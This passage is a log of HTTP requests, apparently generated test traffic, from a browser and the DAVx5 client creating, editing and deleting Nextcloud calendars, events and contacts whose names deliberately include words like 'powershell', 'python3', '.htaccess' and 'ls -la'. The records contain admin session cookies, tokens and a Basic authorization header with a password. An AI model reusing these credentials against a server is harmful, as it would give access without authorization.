nc_token=t43HZet4TBWuMLJQjBXmR0eeWd4vmXlC; nc_session_id=02c4326bbee9f15d812eec41be2c5a90"], "body": "<x0:propfind xmlns:x0=\"DAV:\"><x0:prop><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x1:calendar-data xmlns:x1=\"urn:ietf:params:xml:ns:caldav\"/></x0:prop></x0:propfind>"}
|
||||||
|
{"method": "PUT", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/3CA0C88E-5919-4A63-98EC-63AD263E3CC5.ics", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 913", "Cache-Control: max-age=0", "Depth: 0", "requesttoken: 8gswnZCUVQGWpJa26qM/dLjrL6vbK3lMGrQAEMHx8c4=:kGBJydfGPTSlkMLzpIhKBYmSHZ2THQwEdfFOeerHtqo=", "If-Match: \"d2d274ce8b8726e9da40bc04bf871974\"", "X-NC-CalDAV-Webcal-Caching: On", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: text/calendar; charset=UTF-8; component=vevent; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=2EhHLVMo%2BuB2X6qXLvEQbhs%2FnBVzc3Eq46xDP3paR0WSicnXSqtFgO%2F6%2BUU5xF4EqtbReCt6FWHuuAmXJj2%2B3SKLgwUnaVtQu5ZTFi1kiF5IDWJaJbcuUUYzFf6ryy2c; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=ef24c0ab9fb54634fa08cf8f41227b3d; nc_username=admin; nc_token=qBFdaX4Mt75T9rCmzWegIkZeNMopFgdR; nc_session_id=ef24c0ab9fb54634fa08cf8f41227b3d"], "body": "BEGIN:VCALENDAR\r\nCALSCALE:GREGORIAN\r\nVERSION:2.0\r\nPRODID:-//IDN nextcloud.com//Calendar app 6.6.5//EN\r\nBEGIN:VEVENT\r\nCREATED:20261110T090325Z\r\nDTSTAMP:20261110T090707Z\r\nLAST-MODIFIED:20261110T090707Z\r\nSEQUENCE:4\r\nUID:60dddeaf-fc50-40c3-a8e1-9f05366eb58d\r\nDTSTART;TZID=Europe/Berlin:20261110T110025\r\nDTEND;TZID=Europe/Berlin:20261110T120025\r\nTRANSP:OPAQUE\r\nSTATUS:CONFIRMED\r\nSUMMARY:Powershell and ls -la session\r\nLOCATION:.htaccess room\\, Python3 Street 4\r\nDESCRIPTION:Notes for python3\\, powershell and .htaccess\\; ls -la shows the\r\n files.\r\nEND:VEVENT\r\nBEGIN:VTIMEZONE\r\nTZID:Europe/Berlin\r\nBEGIN:DAYLIGHT\r\nTZNAME:CEST\r\nTZOFFSETFROM:+0100\r\nTZOFFSETTO:+0200\r\nDTSTART:19700329T020000\r\nRRULE:FREQ=YEARLY;BYMONTH=3;BYDAY=-1SU\r\nEND:DAYLIGHT\r\nBEGIN:STANDARD\r\nTZNAME:CET\r\nTZOFFSETFROM:+0200\r\nTZOFFSETTO:+0100\r\nDTSTART:19701025T030000\r\nRRULE:FREQ=YEARLY;BYMONTH=10;BYDAY=-1SU\r\nEND:STANDARD\r\nEND:VTIMEZONE\r\nEND:VCALENDAR"}
|
||||||
|
{"method": "DELETE", "target": "/remote.php/dav/calendars/admin/python3-and-powershell/3CA0C88E-5919-4A63-98EC-63AD263E3CC5.ics", "headers": ["Host: example.com", "Connection: keep-alive", "Depth: 0", "X-NC-CalDAV-Webcal-Caching: On", "requesttoken: XzdVTnLDdfXMQfo5P/dvxM1gfhL4vJdqn0oPhubHYyc=:Ol4lIBTzBIL/OI11VI03pa4ZDmGi29IC1BA9/7/wKX4=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=utf-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=tRZ%2BSptBHK11P5pryNcLmx3815D1Oaf9%2BKEWPWYgNj0BMJt19Hg%2Bh85ageyJfVW69WyQm4n0d%2B60YaLoCjp9e5xMZoFRxx0FrrU6%2BwyOS4UxJznaNaJU9YSsoVBvNNU4; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=fa1e8b24b31e987cac3388eb4507a69c; nc_username=admin; nc_token=vP3np0skoBgEl%2F4Xz4IWK%2BUwsgDUMGA%2F; nc_session_id=fa1e8b24b31e987cac3388eb4507a69c"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/apps/contacts/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=hTR14TyLElt0ww3gvFbgLJiZKknNZZy5NFEvCA8TrFooYkHrVHp%2BjJWB2aYG0poKUoyXssdQVfJ0dBLLCcpJXSd8qJ%2BAnYeQfLPK6zL7IbwLQMNgHPa0qgvZmqEM6xM4; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=44d8c04765ac411f367dc36a451b8922; nc_username=admin; nc_token=%2BbGjlq5HAj%2FKb%2FxDX6UpJVT20dm22ciN; nc_session_id=44d8c04765ac411f367dc36a451b8922"], "body": ""}
|
||||||
|
{"method": "PROPFIND", "target": "/remote.php/dav/addressbooks/users/admin/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 771", "Depth: 1", "requesttoken: HXwiJzx/6GfUKVU4kHiOoR61g490fr+QsA9Qe0hsQuw=:azISRFcc2A+kfCBhoyjX6S3Uu+IaT9Ko91o5SRguJNg=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=hTR14TyLElt0ww3gvFbgLJiZKknNZZy5NFEvCA8TrFooYkHrVHp%2BjJWB2aYG0poKUoyXssdQVfJ0dBLLCcpJXSd8qJ%2BAnYeQfLPK6zL7IbwLQMNgHPa0qgvZmqEM6xM4; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=44d8c04765ac411f367dc36a451b8922; nc_username=admin; nc_token=%2BbGjlq5HAj%2FKb%2FxDX6UpJVT20dm22ciN; nc_session_id=44d8c04765ac411f367dc36a451b8922"], "body": "<x0:propfind xmlns:x0=\"DAV:\"><x0:prop><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x5:invite xmlns:x5=\"http://owncloud.org/ns\"/><x6:allowed-sharing-modes xmlns:x6=\"http://calendarserver.org/ns/\"/><x4:addressbook-description xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/><x4:supported-address-data xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/><x4:max-resource-size xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/><x6:getctag xmlns:x6=\"http://calendarserver.org/ns/\"/><x5:enabled xmlns:x5=\"http://owncloud.org/ns\"/><x5:read-only xmlns:x5=\"http://owncloud.org/ns\"/></x0:prop></x0:propfind>"}
|
||||||
|
{"method": "REPORT", "target": "/remote.php/dav/addressbooks/users/admin/contacts/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 703", "Depth: 1", "requesttoken: HXwiJzx/6GfUKVU4kHiOoR61g490fr+QsA9Qe0hsQuw=:azISRFcc2A+kfCBhoyjX6S3Uu+IaT9Ko91o5SRguJNg=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=hTR14TyLElt0ww3gvFbgLJiZKknNZZy5NFEvCA8TrFooYkHrVHp%2BjJWB2aYG0poKUoyXssdQVfJ0dBLLCcpJXSd8qJ%2BAnYeQfLPK6zL7IbwLQMNgHPa0qgvZmqEM6xM4; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=44d8c04765ac411f367dc36a451b8922; nc_username=admin; nc_token=%2BbGjlq5HAj%2FKb%2FxDX6UpJVT20dm22ciN; nc_session_id=44d8c04765ac411f367dc36a451b8922"], "body": "<x4:addressbook-query xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"><x0:prop xmlns:x0=\"DAV:\"><x0:getetag/><x0:getcontenttype/><x0:resourcetype/><x4:address-data><x4:prop name=\"EMAIL\"/><x4:prop name=\"UID\"/><x4:prop name=\"TEL\"/><x4:prop name=\"CATEGORIES\"/><x4:prop name=\"FN\"/><x4:prop name=\"ORG\"/><x4:prop name=\"N\"/><x4:prop name=\"X-PHONETIC-FIRST-NAME\"/><x4:prop name=\"X-PHONETIC-LAST-NAME\"/><x4:prop name=\"X-MANAGERSNAME\"/><x4:prop name=\"TITLE\"/><x4:prop name=\"NOTE\"/><x4:prop name=\"RELATED\"/><x4:prop name=\"KIND\"/><x4:prop name=\"X-ADDRESSBOOKSERVER-KIND\"/></x4:address-data><x3:has-photo xmlns:x3=\"http://nextcloud.com/ns\"/><x3:favorite xmlns:x3=\"http://nextcloud.com/ns\"/></x0:prop></x4:addressbook-query>"}
|
||||||
|
{"method": "MKCOL", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 247", "Depth: 0", "requesttoken: IDF6haHOnwUb6toTHKUMAP7gLYKMfa/mr+gcudSIOJY=:F3wrtM/88lBcn7ZDJJBFSZaue/bJJ/eM3qUpwZrGWbk=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Zgacpi1e5s%2B%2B%2F2XwYeTW%2FIM50S6NnczT4TaFtjK%2FoExyhmf0Vj7bY8htV%2BJAtAxrU%2BNaBqXKOIes3hSFV948kw%2FY3IGIBR6V%2BlKBH2iD3ws%2FLcZ98ZZAF4W21X%2Bidhfi; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=b7bbb68fb503491efd91910474b454bd; nc_username=admin; nc_token=lzpjs5M9hGN%2FdTXJj0aSTKDZeMBv4sl1; nc_session_id=b7bbb68fb503491efd91910474b454bd"], "body": "<x0:mkcol xmlns:x0=\"DAV:\"><x0:set><x0:prop><x0:resourcetype><x0:collection/><x4:addressbook xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/></x0:resourcetype><x0:displayname>Powershell and .htaccess people</x0:displayname></x0:prop></x0:set></x0:mkcol>"}
|
||||||
|
{"method": "PROPFIND", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 771", "Depth: 0", "requesttoken: IDF6haHOnwUb6toTHKUMAP7gLYKMfa/mr+gcudSIOJY=:F3wrtM/88lBcn7ZDJJBFSZaue/bJJ/eM3qUpwZrGWbk=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=Zgacpi1e5s%2B%2B%2F2XwYeTW%2FIM50S6NnczT4TaFtjK%2FoExyhmf0Vj7bY8htV%2BJAtAxrU%2BNaBqXKOIes3hSFV948kw%2FY3IGIBR6V%2BlKBH2iD3ws%2FLcZ98ZZAF4W21X%2Bidhfi; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=b7bbb68fb503491efd91910474b454bd; nc_username=admin; nc_token=lzpjs5M9hGN%2FdTXJj0aSTKDZeMBv4sl1; nc_session_id=b7bbb68fb503491efd91910474b454bd"], "body": "<x0:propfind xmlns:x0=\"DAV:\"><x0:prop><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x5:invite xmlns:x5=\"http://owncloud.org/ns\"/><x6:allowed-sharing-modes xmlns:x6=\"http://calendarserver.org/ns/\"/><x4:addressbook-description xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/><x4:supported-address-data xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/><x4:max-resource-size xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/><x6:getctag xmlns:x6=\"http://calendarserver.org/ns/\"/><x5:enabled xmlns:x5=\"http://owncloud.org/ns\"/><x5:read-only xmlns:x5=\"http://owncloud.org/ns\"/></x0:prop></x0:propfind>"}
|
||||||
|
{"method": "REPORT", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 703", "Depth: 1", "requesttoken: fZgjYlkTsOd20pLYPjng/qvwY4SGiFpn9ESXtI5TLg4=:MOFqAWxnm9Rdk+O6bACVl+zEUd3g4jERsj747aEaZ2o=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=jOdffoGm%2FR4%2FLegb4Tes9nHq9GPhh0oBu6yT3apgCqiEBQQj3XY5S5oZhFPmWexksgRMt2SpOiAAeUTpmgc01J4kaHZee1Ug6U204lFJ0WZej0d7%2FxRrDspKnD6ltmFP; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=e0aeeffda7c701dc426e0d411bdfb0a2; nc_username=admin; nc_token=piSmKb4QqFXfvtkB0J1iEKk3ElcqKzyC; nc_session_id=e0aeeffda7c701dc426e0d411bdfb0a2"], "body": "<x4:addressbook-query xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"><x0:prop xmlns:x0=\"DAV:\"><x0:getetag/><x0:getcontenttype/><x0:resourcetype/><x4:address-data><x4:prop name=\"EMAIL\"/><x4:prop name=\"UID\"/><x4:prop name=\"TEL\"/><x4:prop name=\"CATEGORIES\"/><x4:prop name=\"FN\"/><x4:prop name=\"ORG\"/><x4:prop name=\"N\"/><x4:prop name=\"X-PHONETIC-FIRST-NAME\"/><x4:prop name=\"X-PHONETIC-LAST-NAME\"/><x4:prop name=\"X-MANAGERSNAME\"/><x4:prop name=\"TITLE\"/><x4:prop name=\"NOTE\"/><x4:prop name=\"RELATED\"/><x4:prop name=\"KIND\"/><x4:prop name=\"X-ADDRESSBOOKSERVER-KIND\"/></x4:address-data><x3:has-photo xmlns:x3=\"http://nextcloud.com/ns\"/><x3:favorite xmlns:x3=\"http://nextcloud.com/ns\"/></x0:prop></x4:addressbook-query>"}
|
||||||
|
{"method": "PUT", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/E1EB75FA-933C-46A4-AD1A-7106855A029F.vcf", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 332", "Depth: 0", "requesttoken: Iy7WAAfPc/hGpvpisqtFnPFRQDIzSG6sC+yJUEMbzPQ=:e3umVUqCEbAz6IgW/90k9Kk6Int0IzjAYYXiMyhQn44=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: text/vcard; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=%2FrmnJ5SO3BeiIypOwZqHEMonCiIy2uYA81JnXwGymwd1DduGdO3s7%2BttUc9quBNkrQAtL5KyTu0URuNqIZCe%2BS5rX85okbkVhwUdiJgdNa4Zl3j1KGVC7wa2vKuZs9rv; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=418a018c3809ffbd57360d97a78a822c; nc_username=admin; nc_token=GEjX3Z%2Fr2k4zZtwMjnL1cvLWQzvgAvgO; nc_session_id=418a018c3809ffbd57360d97a78a822c"], "body": "BEGIN:VCARD\r\nVERSION:4.0\r\nPRODID:-//Nextcloud Contacts v8.9.5\r\nUID:ee504ddf-b0ef-4dcb-8525-0b5d006b881e\r\nREV;VALUE=DATE-TIME:20261110T091354Z\r\nFN:Ada Python3 Powershell\r\nNOTE:\r\nADR;TYPE=HOME:;;4 Powershell Lane;Python3 Town;;;\r\nEMAIL;TYPE=HOME:\r\nTEL;TYPE=HOME,VOICE:\r\nORG:.htaccess and Python3 Ltd\r\nTITLE:Powershell admin\r\nEND:VCARD"}
|
||||||
|
{"method": "PROPFIND", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/E1EB75FA-933C-46A4-AD1A-7106855A029F.vcf", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 318", "Depth: 0", "requesttoken: Iy7WAAfPc/hGpvpisqtFnPFRQDIzSG6sC+yJUEMbzPQ=:e3umVUqCEbAz6IgW/90k9Kk6Int0IzjAYYXiMyhQn44=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=UTF-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=%2FrmnJ5SO3BeiIypOwZqHEMonCiIy2uYA81JnXwGymwd1DduGdO3s7%2BttUc9quBNkrQAtL5KyTu0URuNqIZCe%2BS5rX85okbkVhwUdiJgdNa4Zl3j1KGVC7wa2vKuZs9rv; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=418a018c3809ffbd57360d97a78a822c; nc_username=admin; nc_token=GEjX3Z%2Fr2k4zZtwMjnL1cvLWQzvgAvgO; nc_session_id=418a018c3809ffbd57360d97a78a822c"], "body": "<x0:propfind xmlns:x0=\"DAV:\"><x0:prop><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x0:displayname/><x0:owner/><x0:resourcetype/><x0:sync-token/><x0:current-user-privilege-set/><x0:getcontenttype/><x0:getetag/><x0:resourcetype/><x4:address-data xmlns:x4=\"urn:ietf:params:xml:ns:carddav\"/></x0:prop></x0:propfind>"}
|
||||||
|
{"method": "PUT", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/E1EB75FA-933C-46A4-AD1A-7106855A029F.vcf", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 348", "Cache-Control: max-age=0", "Depth: 0", "requesttoken: 7Vdz2rzQ/4Dwwwmsqiy1H4Ac0zCBNZHnXHTBNGBb+aU=:jy4VvvKDjM/Eql/exFvML9J/l3PMZtCTOwCUAipwnM0=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: text/vcard; charset=UTF-8; charset=UTF-8", "If-Match: \"71a3092727585c70e67fdc0d6d610c20\"", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=kWAeErU2vXagSmHqAr00wV4yN408SYGPcS0P05Fxux4TdMkDB32sXCORkyIudWzxRB9QebdTZznhygCaa2skiuRhwWQB0Vjo4SZC1Pg27uy%2FGQK7bbXaXY3nAsGqO9DM; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=a13ae35dab214517739d9f5b4a0d9264; nc_username=admin; nc_token=boKHHKSaguKiOEwEA6ohVdUIsfFVG0P6; nc_session_id=a13ae35dab214517739d9f5b4a0d9264"], "body": "BEGIN:VCARD\r\nVERSION:4.0\r\nPRODID:-//Nextcloud Contacts v8.9.5\r\nUID:ee504ddf-b0ef-4dcb-8525-0b5d006b881e\r\nREV;VALUE=DATE-TIME:20261110T091426Z\r\nFN:Ada .htaccess ls -la Python3\r\nNOTE:\r\nADR;TYPE=HOME:;;4 Powershell Lane;Python3 Town;;;\r\nEMAIL;TYPE=HOME:\r\nTEL;TYPE=HOME,VOICE:\r\nORG:.htaccess and Python3 Ltd\r\nTITLE:Python3 and ls -la trainer\r\nEND:VCARD"}
|
||||||
|
{"method": "DELETE", "target": "/remote.php/dav/addressbooks/users/admin/powershell-and-htaccess-people/E1EB75FA-933C-46A4-AD1A-7106855A029F.vcf", "headers": ["Host: example.com", "Connection: keep-alive", "Depth: 0", "requesttoken: 3K2A7EtHJTOVTJ7M8h5zQF9iYoahono/AafukOCK5ak=:scf6qTpsX0OlHva6o0grAhYuBsHs5khQZ5KbpLTm0MA=", "X-Requested-With: XMLHttpRequest, XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/xml; charset=utf-8", "Origin: http://example.com", "Accept-Encoding: gzip, deflate", "Cookie: oc_sessionPassphrase=el6hXqkaEpqVs6rRnN5Qb8ecVqAYaa%2F93Y3talW%2B8NLNAj3MF%2BtO5naG1BjPfqP91zWgMQAw3W6D5N5%2Frqw5sz4ij4nSoe5khPs45Gv%2F8NDs63QCkUg7fjSLLvISdXFE; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true; oc2eh9dhypt9=a7d23fe345d2880f1f6655a952f9b2f3; nc_username=admin; nc_token=hzOptppVGWk1f6mZgFJxDbutRK5tE%2FGx; nc_session_id=a7d23fe345d2880f1f6655a952f9b2f3"], "body": ""}
|
||||||
|
{"method": "PROPFIND", "target": "/.well-known/caldav", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\"><prop><resourcetype /><current-user-principal /></prop></propfind>"}
|
||||||
|
{"method": "PROPFIND", "target": "/.well-known/carddav", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\"><prop><resourcetype /><current-user-principal /></prop></propfind>"}
|
||||||
|
{"method": "PROPFIND", "target": "/remote.php/dav/", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\"><prop><resourcetype /><current-user-principal /></prop></propfind>"}
|
||||||
|
{"method": "PROPFIND", "target": "/remote.php/dav/principals/users/admin/", "headers": ["Host: example.com", "Content-Length: 294", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 0"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\" xmlns:CAL=\"urn:ietf:params:xml:ns:caldav\" xmlns:CARD=\"urn:ietf:params:xml:ns:carddav\"><prop><CAL:calendar-home-set /><CARD:addressbook-home-set /><displayname /><CAL:calendar-user-address-set /><group-membership /></prop></propfind>"}
|
||||||
|
{"method": "PROPFIND", "target": "/remote.php/dav/calendars/admin/", "headers": ["Host: example.com", "Content-Length: 407", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 1"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\" xmlns:CAL=\"urn:ietf:params:xml:ns:caldav\" xmlns:CS=\"http://calendarserver.org/ns/\" xmlns:ICAL=\"http://apple.com/ns/ical/\"><prop><resourcetype /><displayname /><CAL:calendar-description /><ICAL:calendar-color /><CAL:supported-calendar-component-set /><current-user-privilege-set /><CS:source /><CAL:calendar-timezone /><owner /></prop></propfind>"}
|
||||||
|
{"method": "PROPFIND", "target": "/remote.php/dav/addressbooks/users/admin/", "headers": ["Host: example.com", "Content-Length: 232", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8", "Depth: 1"], "body": "<?xml version='1.0' encoding='UTF-8' ?><propfind xmlns=\"DAV:\" xmlns:CARD=\"urn:ietf:params:xml:ns:carddav\"><prop><resourcetype /><displayname /><CARD:addressbook-description /><current-user-privilege-set /><owner /></prop></propfind>"}
|
||||||
|
{"method": "MKCALENDAR", "target": "/remote.php/dav/calendars/admin/f2d452d0-61e4-4524-8b41-23f63c571f07/", "headers": ["Host: example.com", "Content-Length: 496", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8"], "body": "<?xml version='1.0' encoding='UTF-8' ?><CAL:mkcalendar xmlns=\"DAV:\" xmlns:CAL=\"urn:ietf:params:xml:ns:caldav\" xmlns:ICAL=\"http://apple.com/ns/ical/\"><set><prop><displayname>Python3 club and .htaccess</displayname><CAL:calendar-description>Powershell and python3 meetings; ls -la first</CAL:calendar-description><ICAL:calendar-color>#FF0000FF</ICAL:calendar-color><CAL:supported-calendar-component-set><CAL:comp name=\"VEVENT\" /></CAL:supported-calendar-component-set></prop></set></CAL:mkcalendar>"}
|
||||||
|
{"method": "MKCOL", "target": "/remote.php/dav/addressbooks/users/admin/2734c22c-0efb-49c8-ab43-1231660d67c6/", "headers": ["Host: example.com", "Content-Length: 340", "User-Agent: DAVx5/4.4.9-ose (2025/03/12; dav4jvm; okhttp/4.12.0) Android/15", "Authorization: Basic YWRtaW46RXhhbXBsZS1wYXNzLTI4MA==", "Accept-Encoding: gzip", "Accept-Language: en-US, en;q=0.7, *;q=0.5", "Content-Type: application/xml; charset=utf-8"], "body": "<?xml version='1.0' encoding='UTF-8' ?><mkcol xmlns=\"DAV:\" xmlns:CARD=\"urn:ietf:params:xml:ns:carddav\"><set><prop><resourcetype><collection /><CARD:addressbook /></resourcetype><displayname>Ls -la and powershell team</displayname><CARD:addressbook-description>Python3 and .htaccess people</CARD:addressbook-description></prop></set></mkcol>"}
|
||||||
|
